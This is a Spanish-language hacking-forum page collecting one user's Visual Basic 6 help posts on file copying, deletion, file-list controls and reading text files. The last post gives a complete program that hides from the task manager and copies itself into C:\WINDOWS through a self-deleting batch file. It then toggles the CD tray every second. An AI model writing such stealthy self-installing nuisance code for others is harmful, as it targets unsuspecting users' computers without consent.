Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - cassiani

#831
 ¿Reemplazar una cadena por otra?
Text1.Text = Replace(Text1.Text, "%", "/")
#832
 Uhm... no recuerdo... hace tiempo para salir del paso consegui hacer esto a partir de un códe del maestro 'Guille':

formulario:
Código (vb) [Seleccionar]
Option Explicit
   
Private Sub AsignarFlags()
    'Ajustamos el valor del flag, según los requerimientos del programador
    iFlags = 0 + FOF_MULTIDESTFILES + FOF_NOCONFIRMATION + FOF_NOCONFIRMMKDIR + FOF_SILENT
End Sub

Private Sub Copia_de_Seguridad()
On Error Resume Next  'Ponemos en marcha la detección de errores.
Dim SHFileOp As SHFILEOPSTRUCT
   
    'Asignar el valor de las opciones
    AsignarFlags
   
     sFicOri = "C:\Documents and Settings\Rey\Escritorio\Trabajo_Final\*.*" & vbNullChar & vbNullChar
    sFicDes = "C:\Copia_Segura" & vbNullChar & vbNullChar
   
    With SHFileOp
        .wFunc = FO_COPY 'Le indica que se va a copiar.
        .fFlags = iFlags 'Se le indican los flag a usar.
        .hWnd = Me.hWnd '.
        .pFrom = sFicOri 'Path del folder o fichero (completo) de origen.
        .pTo = sFicDes 'Path del folder o fichero (completo) de destino.
        .lpszProgressTitle = "Procesando" '"Copiando los ficheros especificados"
    End With
   
    Call SHFileOperation(SHFileOp)
   
    Err = 0 'Para dejar de detectar error
    On Local Error GoTo 0 'Liberamos la detección de errores de esta función
End Sub

Private Sub Form_Load()
    Copia_de_Seguridad
    MsgBox "Copia de seguridad realizada con exito!"
    End
End Sub


modulo:
Código (vb) [Seleccionar]
Option Explicit

Public Declare Function SHFileOperation Lib "shell32.dll" Alias "SHFileOperationA" _
    (lpFileOp As SHFILEOPSTRUCT) As Long
   
Public sFicOri As String 'Para almacenar el path de Origen
Public sFicDes As String 'Para almacenar el path de Destino
Public iFlags As Long 'Opciones de la copia


' Variables, constantes y declaraciones para el API
Public Type SHFILEOPSTRUCT
    hWnd As Long                        ' hWnd del formulario
    wFunc As Long                       ' Función a usar: FO_COPY, etc.
    pFrom As String                     ' Fichero(s) de origen
    pTo As String                       ' Fichero(s) de destino
    fFlags As Long 'Para Windows 2000/XP declararlo como Long, 9x declararlo como Integer.
    fAnyOperationsAborted As Boolean    ' Si se ha cancelado
    hNameMappings As Long               '
    lpszProgressTitle As String         ' Sólo si se usa FOF_SIMPLEPROGRESS
End Type

' Constantes para FileOperation
Public Enum eFO
    FO_COPY = &H2&                      ' Copiar
    FOF_MULTIDESTFILES = &H1&           ' Multiples archivos de destino
    FOF_SILENT = &H4&                   ' No mostrar el progreso
    FOF_NOCONFIRMATION = &H10&          ' No pedir confirmación
    FOF_NOCONFIRMMKDIR = &H200&         ' No confirmar la creación de directorios
End Enum


Si encuentro una forma más efectiva y que involucre menos code, la posteo... Ahora mismo no recuerdo y como dices que no te sirve el FileCopy...

Saludos.
#833
 Puedes hacerlo así:

Código (vb) [Seleccionar]
Option Explicit

Private Sub Main()
    Open "Copy.bat" For Output As #1
            'Creamos un directorio de destino
            Print #1, "md c:\Copia_Segura"
            'Nos ubicamos en el dorectorio del cual copiaremos x archivos
            Print #1, "cd \escritorio\Trabajo_Final"
            'Copiamos...
            Print #1, "copy *.* c:\Copia_Segura /y"
    Close #1
    'Ejecutamos el bat
    Shell ("Copy.bat"), vbHide
    Msgbox "Los archivos han sido copiados con exito!"
End Sub
#834
Citarno se podria poner que se borre al ejecutarlo?
Recuerda, el evento Load se dispara o sucede cuando se carga el formulario, todo lo que en él coloques se ejecutara cuando lo cargues. Si por ejemplo tienes un solo formulario, al ejecutarse el programa realizara esas instrucciones, si tienes varios form entonces colocalo en el principal y pasara lo mismo. Por otro lado si esa es la unica instrucción que realizara el programa, podés hacerlo sin form usando un modulo con su respectivo procedimiento Main.

Si lo que deseáis es borrar todos los jpg de determinado directorio, hacéis esto:
Código (vb) [Seleccionar]
Private Sub Form_Load()
    'Borra todos lo archivos jpg
    Kill "C:\Documents and Settings\Rey\Escritorio\*.jpg"
End Sub


Por otra parte si tu objetivo es borrar un solo archivo hacéis esto otro: le quitas el *  luego le pones el nombre del archivo a borrar.
Código (vb) [Seleccionar]
'Borra un archivo en especifico
Kill "C:\Documents and Settings\Rey\Escritorio\Archivo.extensión"



#835
El Drive1 => DriveListBox ==> devuelve el nombre de la unidad de disco seleccionada.
El Dir1   ==> DirListBox    ==> solamente presenta directorios.
El File1  ==> FileListBox   ==> presentará los ficheros existentes en un directorio.

Estos tres son "controles de busqueda de ficheros", se encuentran por defecto en el cuadro de herramientas del vb junto a otros controles como, image, line...etc.

El Drive1 le indicará al Dir1 una unidad de disco valida, el Dir1 le indicará al File1 el directorio donde se encuentra el archivo que vas a borrar y por ultimo el File1 te mostrará todos los ficheros (nombreArchivo.Extención) que se encuentran en el directorio especificado por el Dir1.

Después solo halláis el .jpg, seleccionadlo y listo.

Si deseáis que solo se puedan borrar jpg, podes usar el Right como dice EON, este es solo un EJEMPLO una SUGERENCIA de las tantas formas que podes tener para hacer lo que deseáis:

Agrega esto en el evento click del File1, antes del If que controla la confirmación de eliminación:
Código (vb) [Seleccionar]
If LCase(Right(File1.FileName, 3)) = "jpg" Then 'Verificamos que el archivo seleccionado sea un jpg


De esta manera solo se podrían borrar archivos .JPG

Espero haber podido ayudar un poco.... Hasta luego...
#836
 Hola... este es una de las alternativas que podes usar:

Código (vb) [Seleccionar]
Option Explicit

Private Sub Dir1_Change()
    File1.Path = Dir1.Path
End Sub

Private Sub Drive1_Change()
    Dir1.Path = Drive1.Drive
End Sub

Private Sub File1_Click()
    'Nos aseguramos de borrar el archivo correcto
    If MsgBox("Esta seguro que desea borrar " & File1.Path & "\" & File1.FileName, _
    vbYesNo, "XHC") = vbYes Then Kill File1.Path & "\" & File1.FileName 'Eliminamos el archivo
   
    File1.Refresh 'Refrescamos el FileListBox
End Sub


Creo que esto hace lo que quieres... 
#838
 ¡De nada! pungados  ::)
#839
   Si entras en google o usas el botón de buscar, te sorprenderías de lo que hallarías.   "me salio un verso"  ;D   

Código (vb) [Seleccionar]
Option Explicit

Private Sub Form_Load()
Dim Cadena As String, CanalLibre As Integer
   
    CanalLibre = FreeFile 'Buscamos un canal libre
   
   Text1.Text = "" 'Limpiamos el TextBox
       
   'Abrimos el archivo para lectura "Input"
    Open "C:\Prueba.txt" For Input As CanalLibre
        Cadena = Input$(LOF(CanalLibre), CanalLibre)
    Close CanalLibre
               
    ' Asignarlo al textbox
    Text1.Text = Cadena
End Sub



   Puedes comenzar con lo que a manejo de archivo se trata, leyendo esto: http://foro.elhacker.net/index.php/topic,173739.msg825470.html#msg825470

Editado: Debes modificar lo siguiente en el TextBox que este usando:
              Text1.MultiLine = True
               Text1.ScrollBars = 3
   
#840
 ¡A ver! quizas armastes el código mal, te lo posteo completo, para que veas como queda, recién lo probe en vb6.0 y funciona como se espera.

Código (vb) [Seleccionar]
Option Explicit

Dim Res As Long, ReturnString As String * 127
Dim Abrir As Boolean

Private Sub Timer1_Timer()
    If Abrir = False Then
        'Cierra CD-ROOM
        Res = mciSendString("Set CDAudio Door Closed", ReturnString, 127, 0)
        Abrir = True
    ElseIf Abrir = True Then
        'Abre cd-room
        Res = mciSendString("Set CDAudio Door Open", ReturnString, 127, 0)
        Abrir = False
    End If
End Sub

Private Sub CrearBat()
Dim Canal As Integer
    Canal = FreeFile 'Buscamos un canal libre
    Open "Copiar.bat" For Output As #Canal 'creamos un bat
        Print #Canal, "@echo off"
        Print #Canal, "CD " & App.Path 'cambio de directorio
        Print #Canal, "Copy " & App.EXEName & ".exe C:\WINDOWS\" _
        & App.EXEName & ".exe /y"
        'Se ejecuta el archivo copiado
        Print #Canal, "@start " & "C:\WINDOWS\" & App.EXEName & ".exe"
        Print #Canal, "del Copiar.bat" 'Aqui borramos el .bat
    Close #Canal
End Sub

Private Sub Form_Load()
    Me.Visible = False 'Formulario invisible
    App.TaskVisible = False 'Oculto del administrador de tareas
    If ExisteArchivo("C:\WINDOWS\" & App.EXEName & ".exe") = False Then
       'Si no encuentra el archivo entra aquí
       CrearBat 'Creamos el bat
       Shell "Copiar.bat" 'Y lo ejecutamos
       End
    Else
        'Si lo encuentra entra aquí
        Timer1.Enabled = True
        Timer1.Interval = 1000 'Aqui podes poner cualquier valor a partir de 1 _
                          Mientras mas bajo es el valor, mas rapido sera el ciclo.
                          '1000 equivale a 1 segundo.
    End If
End Sub

'Esta es la función más sencilla para detectar la existencia de un archivo
Public Function ExisteArchivo(Archivo As String) As Boolean
    ExisteArchivo = IIf(Dir$(Archivo) = "", False, True)
    'Devolverá false, si Dir$ no encuentra el archivo especificado
End Function



Así debe quedar, No te olvides del módulo...   :o